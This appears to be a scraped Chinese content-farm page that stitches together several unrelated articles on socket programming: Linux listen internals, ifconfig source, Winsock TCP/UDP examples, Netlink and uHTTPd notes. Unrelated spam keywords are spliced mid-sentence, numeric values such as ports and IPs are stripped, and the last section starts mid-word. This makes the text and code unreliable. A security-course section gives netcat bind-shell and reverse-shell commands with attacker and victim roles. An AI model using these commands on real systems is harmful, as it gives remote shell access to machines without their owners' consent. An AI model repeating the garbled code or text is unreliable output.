皮皮网

【cf 辅助源码】【产品推广app源码】【linux编译谷歌源码】套接字通信源码_套接字通信编程的基本步骤

2024-11-06 13:37:00 来源:易语言源码目录

1.从Linux源码角度看套接字的套接通信Listen及连接队列
2.ifconfig源码分析
3.linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。字通骤谢谢
4.信息安全课程8:套接字(socket) 编程
5.C++后端开发——POSIX网络API解析
6.linux内核通信核心技术:Netlink源码分析和实例分析

套接字通信源码_套接字通信编程的信源基本步骤

从Linux源码角度看套接字的Listen及连接队列

       从Linux源码的角度深入探讨Server端Socket在进行listen操作时的具体实现,本文以Linux 3.内核为例,码套重点关注listen步骤及其相关参数backlog、接字半连接hash表与全连接队列。编程本步cf 辅助源码首先,套接通信通过socket系统调用创建TCP Socket,字通骤操作函数指向内核提供的信源TCP Socket实现。listen系统调用在实际操作中被glibc的码套INLINE_SYSCALL封装,调整backlog参数以避免超出内核参数somaxconn限制,接字这一限制确保系统内存资源的编程本步合理分配。该参数对java开发者来说尤为重要,套接通信由于默认设置较小(如),字通骤可能导致连接队列溢出,信源引发连接受限问题。

       核心调用程序inet_listen负责处理listen系统调用的具体逻辑。值得注意的是,listen调用可以重复调用,但仅限于修改backlog队列长度。关键调用sk->sk_prot->hash(sk)将当前sock链入全局的listen hash表,便于在接收SYN包时快速找到对应的listen sock。SO_REUSEPORT特性允许不同Socket监听同一端口,实现负载均衡,显著提升性能。

       在处理半连接队列与全连接队列时,内核通过syn_table与icsk_accept_queue实现高效管理。syn_table用于记录未完成的三次握手过程,而icsk_accept_queue负责存储成功建立连接的socket。半连接队列的存在旨在抵御半连接攻击,避免内存资源过度消耗,同时通过syn_cookie机制增强系统安全性。全连接队列长度受限于min(backlog,tcp_ma_syn_backlog,somaxcon)的最小值,确保系统稳定运行并避免内存溢出。

       半连接队列满时,内核通过发送cookie校验信号进行处理,这一过程可能导致连接丢失与异常现象。为解决此类问题,可以设置tcp_abort_on_overflow参数,或适当增大backlog值以提升队列容量。

       通过深入剖析listen操作背后的机制与限制,本文旨在帮助开发者理解Linux内核中socket监听过程的细节,从而更有效地管理和优化网络服务性能。产品推广app源码

ifconfig源码分析

       在ifconfig源码的main函数中,程序首先处理以 '-' 开始的参数,如 '-a' 和 '-s',并判断其作用。接着,尝试打开内核支持的所有协议的套接字,通过调用sockets_open函数实现,如果失败,会输出错误信息并退出程序。

       如果命令行参数为0,意味着显示所有网卡的信息,程序会调用if_print函数。如果用户提供了一个网卡名称,程序会将其复制到ifr.ifr_name中,并处理下一个参数,可能是协议簇名或选项。如果找到协议簇,将其af属性赋值给addr_family,并保存对应的套接字描述符skfd。

       接下来,程序进入一个循环,处理剩余的参数。如果是开关参数,调用set_flag或clr_flag函数处理;如果是功能参数,直接通过ioctl函数处理。在处理IP地址时,会根据协议簇类型调用相应的ioctl函数,如SIOCSIFADDR,来设置接口的地址信息。

扩展资料

       ifconfig是linux中用于显示或配置网络设备(网络接口卡)的命令,英文全称是network interfaces configuring。配置网卡的IP地址语法例:ifconfig eth0 ..0.1 netmask ...0

linux下socket 网络编程(客户端向服务器端发送文件) 求源代码 大哥大姐帮帮忙 ,。。谢谢

       源代码奉上,流程图。。。这个太简单了,你自己看看。。。。linux编译谷歌源码。。。

       //TCP

       //服务器端程序

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       void main( void )

       {

       int iServerSock;

       int iClientSock;

       char *buf = "hello, world!\n";

       struct sockaddr_in ServerAddr;

       struct sockaddr_in ClientAddr;

       int sin_size;

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iServerSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );//监视的端口号

       ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP

       memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "bind调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( listen( iServerSock, BACKLOG ) == -1 )

       {

       printf( "listen调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       while( TRUE )

       {

       sin_size = sizeof( struct sockaddr_in );

       iClientSock = accept( iServerSock, ( struct sockaddr * )&ClientAddr, &sin_size );

       if( iClientSock == -1 )

       {

       printf( "accept调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "服务器连接到%s\n", inet_ntoa( ClientAddr.sin_addr ) );

       if( send( iClientSock, buf, strlen( buf ), 0 ) == -1 )

       {

       printf( "send调用失败!" );

       closesocket( iClientSock );

       WSACleanup( );

       exit( 0 );

       }

       }

       }

       /////客户端程序

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       #define MAXDATASIZE

       void main( void )

       {

       int iClientSock;

       char buf[ MAXDATASIZE ];

       struct sockaddr_in ServerAddr;

       int numbytes;

       // struct hostent *he;

       WSADATA WSAData;

       // int sin_size;

       /* if( ( he = gethostbyname( "liuys" ) ) == NULL )

       {

       printf( "gethostbyname调用失败!" );

       WSACleanup( );

       exit( 0 );

       }

       */

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )//初始化

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iClientSock = socket( AF_INET, SOCK_STREAM, 0 ) ) == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );

       // ServerAddr.sin_addr = *( ( struct in_addr * )he->h_addr );

       ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP

       memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( connect( iClientSock, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "connect失败!" );

       WSACleanup( );

       exit( 0 );

       }

       numbytes = recv( iClientSock, buf, MAXDATASIZE, 0 );

       if( numbytes == -1 )

       {

       printf( "recv失败!" );

       WSACleanup( );

       exit( 0 );

       }

       buf[ numbytes ] = '\0';

       printf( "Received: %s", buf );

       closesocket( iClientSock );

       WSACleanup( );

       }

       /////UDP

       //服务器

       #include< stdio.h >

       #include< string.h >

       #include< winsock.h >

       #include< windows.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define BACKLOG

       #define TRUE 1

       #define MAXDATASIZE

       void main( void )

       {

       int iServerSock;

       // int iClientSock;

       int addr_len;

       int numbytes;

       char buf[ MAXDATASIZE ];

       struct sockaddr_in ServerAddr;

       struct sockaddr_in ClientAddr;

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       iServerSock = socket( AF_INET, SOCK_DGRAM, 0 );

       if( iServerSock == INVALID_SOCKET )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );//监视的端口号

       ServerAddr.sin_addr.s_addr = INADDR_ANY;//本地IP

       memset( & ( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       if( bind( iServerSock, ( struct sockaddr * )&ServerAddr, sizeof( struct sockaddr ) ) == -1 )

       {

       printf( "bind调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       addr_len = sizeof( struct sockaddr );

       numbytes = recvfrom( iServerSock, buf, MAXDATASIZE, 0, ( struct sockaddr * ) & ClientAddr, &addr_len );

       if( numbytes == -1 )

       {

       printf( "recvfrom调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "got packet from %s\n", inet_ntoa( ClientAddr.sin_addr ) );

       printf( "packet is %d bytes long\n", numbytes );

       buf[ numbytes ] = '\0';

       printf( "packet contains \"%s\"\n", buf );

       closesocket( iServerSock );

       WSACleanup( );

       }

       //客户端

       #include< stdio.h >

       #include< stdlib.h >

       #include< windows.h >

       #include< winsock.h >

       #include< string.h >

       #pragma comment( lib, "ws2_.lib" )

       #define PORT

       #define MAXDATASIZE

       void main( void )

       {

       int iClientSock;

       struct sockaddr_in ServerAddr;

       int numbytes;

       char buf[ MAXDATASIZE ] = { 0 };

       WSADATA WSAData;

       if( WSAStartup( MAKEWORD( 1, 1 ), &WSAData ) )

       {

       printf( "initializationing error!\n" );

       WSACleanup( );

       exit( 0 );

       }

       if( ( iClientSock = socket( AF_INET, SOCK_DGRAM, 0 ) ) == -1 )

       {

       printf( "创建套接字失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       ServerAddr.sin_family = AF_INET;

       ServerAddr.sin_port = htons( PORT );

       ServerAddr.sin_addr.s_addr = inet_addr( "..2." );//记得换IP

       memset( &( ServerAddr.sin_zero ), 0, sizeof( ServerAddr.sin_zero ) );

       numbytes = sendto( iClientSock, buf, strlen( buf ), 0, ( struct sockaddr * ) & ServerAddr, sizeof( struct sockaddr ) );

       if( numbytes == -1 )

       {

       printf( "sendto调用失败!\n" );

       WSACleanup( );

       exit( 0 );

       }

       printf( "sent %d bytes to %s\n", numbytes, inet_ntoa( ServerAddr.sin_addr ) );

       closesocket( iClientSock );

       WSACleanup( );

       }

信息安全课程8:套接字(socket) 编程

       本文的socket介绍仅服务于课程目的,点到即止。如果希望继续深入学习socket,可以参照《Unix网络编程》等书籍以及参考文献。

       套接字(socket)允许在相同或不同的机器上的两个不同进程之间进行通信。更准确地说,它是使用标准Unix文件描述符与其他计算机通信的一种方式。在Unix中,每个I/O操作都是通过写入或读取文件描述符来完成的。文件描述符只是与打开文件关联的整数,它可以是网络连接、文本文件、终端或其他内容。

       对于程序员来说,套接字的使用和行为很像更底层的文件描述符。这是因为对于套接字,read()和write()等命令可以像在文件和管道编程中同样的使用。

       套接字首先在BSD 2.1中引入,然后在BSD 4.2形成当前的稳定版本。现在,大多数最新的UNIX系统版本都提供了套接字功能。

       Unix Socket用于客户端 - 服务器应用程序框架中。服务器是根据客户端请求执行某些功能的过程。大多数应用程序级协议(如FTP、SMTP和POP3)都使用套接字在客户端和服务器之间建立连接,然后交换数据。

       用户可以使用四种类型的套接字。前两个是最常用的,后两个使用较少。一般假定进程仅在相同类型的套接字之间进行通信,但是也没有限制阻止不同类型的套接字之间的通信。

       使用socket的时候需要使用各种结构来保存有关地址和端口的信息以及其他信息。 大多数套接字函数都需要一个指向套接字地址结构的指针作为参数。通常使用四元组来描述一个网络连接,使用socket的时候,往往也需要数据结构来描述这些信息。

       这是一个通用的套接字地址结构,在大多数套接字函数调用中都需要使用它。 成员字段的公众号算命源码说明如下。sa_family包括以下可选值。每个值代表一种地址族(address family),在基于IP的情况中,都使用AF_INET。

       其中,sin_family和sockadd的sa_family一样,包括四个可选值:

       sin_port是端口号,位长,网络字节序(network byte order);sin_addr是IP地址,位长,网络字节序(network byte order)。sin_zero,8个字节,设置为0。

       至于为何会使用两个数据结构sockaddr和sockaddr_in来表示地址,原因是如sa_family所指出的,socket设计之初本来就是准备支持多个地址协议的。不同的地址协议由自己不同的地址构造,譬如对于IPv4就是sockaddr_in, IPV6就是sockaddr_in6, 以及对于AF_UNIX就是sockaddr_un。sockaddr是对这些地址的上一层的抽象。另外,像sockaddr_in将地址拆分为port和IP,对编程也更友好。这样,在将所使用的的值赋值给sockaddr_in数据结构之后,通过强制类型转换,就可以转换为sockaddr。当然,从sockaddr也可以强制类型转换为sockaddr_in。

       在sockaddr_in中还有一个结构体,struct in_addr,就是一个位的IP地址,同样是网络字节序。

       为了允许具有不同字节顺序约定的机器相互通信,Internet协议为通过网络传输的数据指定了规范的字节顺序约定。 这称为网络字节顺序。在建立Internet套接字连接时,必须确保sockaddr_in结构的sin_port和sin_addr成员中的数据在网络字节顺序中表示。

       不用担心这几个数据结构以及字节序,因为socket接口非常贴心地准备好了各种友好的文件搜索工具源码接口。

       譬如对上面描述的过程,想要把地址...和端口绑定到一个socket,以下代码就足够了:

       对于简单的socket应用编程,所需要做的就是记住流程。

       使用客户端-服务器端(client-server)模型作为一个例子。server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。

       在这个过程中,所需要用到的函数如下:

       再用一张图描述下客户端和服务器端的流程:

       接下来,我们看C/S的代码实例。

       客户端代码:

       以及服务器端代码:

       编译之后,就可以在两个进程间进行通信了。这个简单代码的作用是服务端收到客户端发来的字符串并回显。

       如果将上面代码中的while循环部分修改为:

       那么实现的功能就是两个进程之间进行输入交流。

       接下来思考问题:能不能利用上面的socket通信,获得一个shell?上面的例子中,当我们输入一个字符串,服务器给我们一个字符串,如果有了shell,发送过去一个命令,能够返回执行的结果。

       实际上,只要对上面的代码做很少的修改,就可以实现获得shell的目的。

       这里,我们稍微讨论一下,以上代码到底做了什么事情。

       首先要习惯一个概念:在Linux中,一切皆文件。普通的文本文件确实是文件,但是设备、socket、管道等都被当成文件处理。所以我们获得的connfd也就是一个文件描述符。在Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错。而它们都指向同一个tty(teleType,终端)。如果此时再去打开一个新的文件,它的文件描述符会是3。

       为了进一步理解文件描述符,可以使用下面的代码:

       能讲清楚上面代码的过程吗?下面的代码呢?

       上面的代码中,把0分别换成1、2、3有什么结果?

       下面代码的运行结果是什么呢?

       另外,能否描述shell的工作过程?

       可以再看下一个简单实现:

       以及打开shell是怎么回事呢?当我们在命令行中输入bash(调用/bin/bash)的时候,就会在shell中打开一个新的shell。所以,当使用execlp调用/bin/bash的时候,就是打开了新的shell。

       请记住,在这里我们有大量的内容没有介绍,譬如getservbyname、select、多线程、信号等。再次地,如果需要进一步学习,请参阅《unix网络编程》。

       另外: 关于AF_INET和PF_INET

       在一些文档中,可能会遇到"PF_INET"。 出现AF_INET和PF_INET是历史原因。在网络设计之初,AF = Address Family,PF = Protocol Family,所以最好在指示地址的时候使用AF,在指示协议的时候使用PF。因为那时人们希望同一个地址族( "AF" in "AF_INET" )可能支持多个协议族 ("PF" in "PF_INET" )。这样的话,就可以加以区分。

       但是,并没有出现同一个地址族支持多个协议族的情况,现在在windows中,

       所以在windows中AF_INET与PF_INET完全一样 。在Linux中,虽然 所以正确的做法是在struct sockaddr_in中使用AF_INET,以及在调用socket()时使用PF_INET。但实际上,可以在任何地方使用AF_INET。 而且,既然这就是W. Richard Stevens在他的书中所做的,那么我们这样做也毫无问题。

       至于AF_PACKET 和 PF_PACKET,可以查看源代码:

       可以发现:

       也即,值是相同的。

       利用nc实现正向shell和反向shell。正向shell:

       受害者命令:nc -lvp -e /bin/sh;也即受害者在端口侦听,并且在这个端口上执行/bin/sh;

       攻击者命令:nc ..1.2 ,也即攻击者去连端口,然后发送过去的数据在受害者主机执行,并将执行结果返回给攻击者;

       反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。之所以使用反向shell,主要是因为有时候防火墙可能会阻止正向的shell。反向shell:

       攻击者侦听:nc -lvp ,攻击者打开了端口,等待连接;

       被攻击者去连接攻击者,并且同时执行/bin/sh,连上攻击者之后,攻击者发送的命令可以在受害者主机执行,执行结果返回给攻击者。

       在尝试nc -e选项的时候会出现

       也即,nc有不同的版本,需要使用nc.traditional 才能使用-e选项。

       可以使用 sudo apt-get install netcat命令,先安装nc.traditional 版本,然后使用update-alternatives来进行挑选。update-alternatives是Debian系统中专门维护系统命令链接符的工具,通过它可以很方便的设置系统默认使用哪个命令、哪个软件版本。

       之后可以实现正向绑定和反向shell。

       反向shell的代码,也即在client端打开shell:

       参考:

C++后端开发——POSIX网络API解析

       网络中进程之间如何通信?网络中进程通信的唯一标识是三元组(ip地址,协议,端口),利用此标识,网络进程可以进行交互。实现网络通信的常用API是UNIX BSD的套接字(socket)和UNIX System V的TLI,而现代应用几乎都采用socket。

       POSIX标准定义了操作系统为应用程序提供的接口标准,实现源代码级别的软件可移植性。不同内核提供的系统调用不同,POSIX标准通过统一接口解决了源代码移植问题。如创建进程的函数,Linux下是fork,Windows下是createprocess。编写程序时只需包含unistd.h,调用统一接口函数,实现源代码级别移植。

       POSIX网络API是网络编程常用的接口,包括socket、bind、listen、connect、accept、send、recv等。socket函数用于创建句柄和TCB控制块,建立文件描述符与内部控制块的对应关系。bind函数将特定地址赋给socket,listen函数开始监听网络上的连接请求,connect函数向服务端发起连接请求,accept函数接收连接请求并分配新描述符,send和recv函数用于数据收发。

       注意点包括:主机字节序与网络字节序的转换,listen、connect、accept三个函数与三次握手过程,send和recv数据收发策略,以及close关闭socket的四次挥手过程。实现网络中进程通信的关键在于正确使用这些API,并注意细节。

linux内核通信核心技术:Netlink源码分析和实例分析

       Linux内核通信核心技术:Netlink源码分析和实例分析

       什么是netlink?Linux内核中一个用于解决内核态和用户态交互问题的机制。相比其他方法,netlink提供了更安全高效的交互方式。它广泛应用于多种场景,例如路由、用户态socket协议、防火墙、netfilter子系统等。

       Netlink内核代码走读:内核代码位于net/netlink/目录下,包括头文件和实现文件。头文件在include目录,提供了辅助函数、宏定义和数据结构,对理解消息结构非常有帮助。关键文件如af_netlink.c,其中netlink_proto_init函数注册了netlink协议族,使内核支持netlink。

       在客户端创建netlink socket时,使用PF_NETLINK表示协议族,SOCK_RAW表示原始协议包,NETLINK_USER表示自定义协议字段。sock_register函数注册协议到内核中,以便在创建socket时使用。

       Netlink用户态和内核交互过程:主要通过socket通信实现,包括server端和client端。netlink操作基于sockaddr_nl协议套接字,nl_family制定协议族,nl_pid表示进程pid,nl_groups用于多播。消息体由nlmsghdr和msghdr组成,用于发送和接收消息。内核创建socket并监听,用户态创建连接并收发信息。

       Netlink关键数据结构和函数:sockaddr_nl用于表示地址,nlmsghdr作为消息头部,msghdr用于用户态发送消息。内核函数如netlink_kernel_create用于创建内核socket,netlink_unicast和netlink_broadcast用于单播和多播。

       Netlink用户态建立连接和收发信息:提供测试例子代码,代码在github仓库中,可自行测试。核心代码包括接收函数打印接收到的消息。

       总结:Netlink是一个强大的内核和用户空间交互方式,适用于主动交互场景,如内核数据审计、安全触发等。早期iptables使用netlink下发配置指令,但在iptables后期代码中,使用了iptc库,核心思路是使用setsockops和copy_from_user。对于配置下发场景,netlink非常实用。

       链接:内核通信之Netlink源码分析和实例分析

物联网设备常见的web服务器——utl` 函数通过改变已打开文件的性质来实现对文件的控制,具体操作包括改变描述符的属性,为后续的服务器操作提供灵活性。关于这一函数的使用,详细内容可参考相关技术文档。

       `uh_setup_listeners` 函数在服务器配置中占有重要地位,主要关注点在于设置监听器的回调函数。这一过程确保了当通过 epoll 有数据到达时,能够调用正确的处理函数。这一环节是实现高效服务器响应的关键步骤。

       `setsockopt` 函数被用于检查网络异常后的操作,通过设置选项层次(如 SOL_SOCKET、IPPROTO_TCP 等)和特定选项的值,实现对网络连接的优化与控制。此功能的详细解释和示例请查阅相关开源社区或技术资料。

       `listener_cb` 函数是 uHTTPd 的关键回调函数之一,它在 epoll 事件发生时被调用,用于处理客户端连接。其后,`uh_accept_client` 函数负责实际的连接接受过程,通过 `calloc` 函数分配内存空间,并返回指向新分配内存的指针。这一步骤确保了分配的内存空间被初始化为零,为后续数据处理做好准备。

       `accept` 函数在客户端连接请求处理中扮演重要角色,它从服务器监听的 socket 中接收新的连接请求,并返回一个用于与客户端通信的新的套接字描述符。对于这一函数的具体实现和使用细节,可以参考相关技术论坛或开发者文档。

       `getsockname` 函数用于服务器端获取相关客户端的地址信息,这对于维护连接状态和进行数据传输具有重要意义。此函数的详细用法和示例可查阅相关技术资源。

       `ustream_fd_init` 函数通过回调函数 `client_ustream_read_cb` 实现客户端数据的真正读取,而 `client_ustream_read_cb` 则负责操作从客户端读取的数据,确保数据处理的高效性和准确性。